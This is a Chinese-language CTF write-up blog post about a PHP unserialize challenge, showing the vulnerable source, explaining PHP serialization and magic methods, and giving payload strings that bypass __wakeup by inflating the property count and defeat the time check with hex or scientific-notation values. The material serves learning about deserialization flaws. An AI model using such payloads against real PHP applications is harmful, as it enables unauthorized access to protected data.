wywwzjj's Blog.

Please don't stop rua 233333

字数统计: 907阅读时长: 4 min
2018/12/08 Share

原题网址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
class Time{
public $flag = xxxxx;
public $truepassword = xxxxx;
public $time;
public $password;
public function construct($tt, $pp) {
$this->time = $tt;
$this->password = $pp;
}
function __destruct(){
if(!empty($this->password)) {
if(strcmp($this->password,$this->truepassword)==0){
echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
if(!empty($this->time)){
if(!is_numeric($this->time)){
echo 'Sorry.<br>';
show_source(__FILE__);
}
else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){
echo 'you need a bigger time.<br>';
}
else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){
echo 'you need a smaller time.<br>';
}
else{
sleep((int)$this->time);
var_dump($this->flag);
}
echo '<hr>';
}
else{
echo '<h1>you have no time!!!!!</h1><br>';
}
}
else{
echo '<h1>Password is wrong............</h1><br>';
}
}
else{
echo "<h1>Please input password..........</h1><br>";
}
}
function __wakeup(){
echo 'hello hacker,I have changed your password and time, rua!';
}
}

if(isset($_GET['rua'])){
//$test = new Time(1.275523920, array("a"));
$rua = $_GET['rua'];
@unserialize($rua);
}
else{
echo "<h1>Please don't stop rua 233333</h1><br>";
}

稍稍记录一下,简单的反序列化。

何为序列化?

序列化对象 - 在会话中存放对象 ¶
所有 php 里面的值都可以使用函数 serialize() 来返回一个包含字节流的字符串来表示。unserialize() 函数能够重新把字符串变回 php 原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义,可以通过包含一个定义该类的文件或使用函数spl_autoload_register()来实现。

序列化字符串格式:变量类型:变量长度:变量内容
例如序列化对象字符串:

变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

PHP 中的魔术方法(Magic methods)

1
2
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), 
__sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(),__debugInfo()

这里我们着重关注几个:

  • __construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  • __destruct():当对象被销毁时会自动调用。
  • __sleep():serialize() 会检查类中是否存在一个魔术方法 __sleep()。若存在,该方法会先被调用,再执行序列化操作
  • __wakeup():unserialize() 会检查是否存在一个 __wakeup() 方法。若存在,则先调用 __wakeup 方法,预先准备对象需要的资源。
  • __toString():用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

PHP 有个 Bug,该漏洞可以概括为:

当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过 __wakeup 函数的执行

1
rua=O:4:"Time":3:{

注意上面的 3 ,是属性数量,本来2个就够了。

16进制 0x 开头在强制转换中出现问题,导致转换成0

payload 如下:

1
rua=O:4:%22Time%22:4:{s:4:%22time%22;s:10:%220x4c06f350%22;s:8:%22password%22;a:2:{i:0;s:1:%22a%22;i:1;s:1:%22b%22;}}

还有一种办法:科学计数法绕过 sleep()

1
rua=O:4:"Time":3:{s:4:"time";s:5:"1.3e9";
CATALOG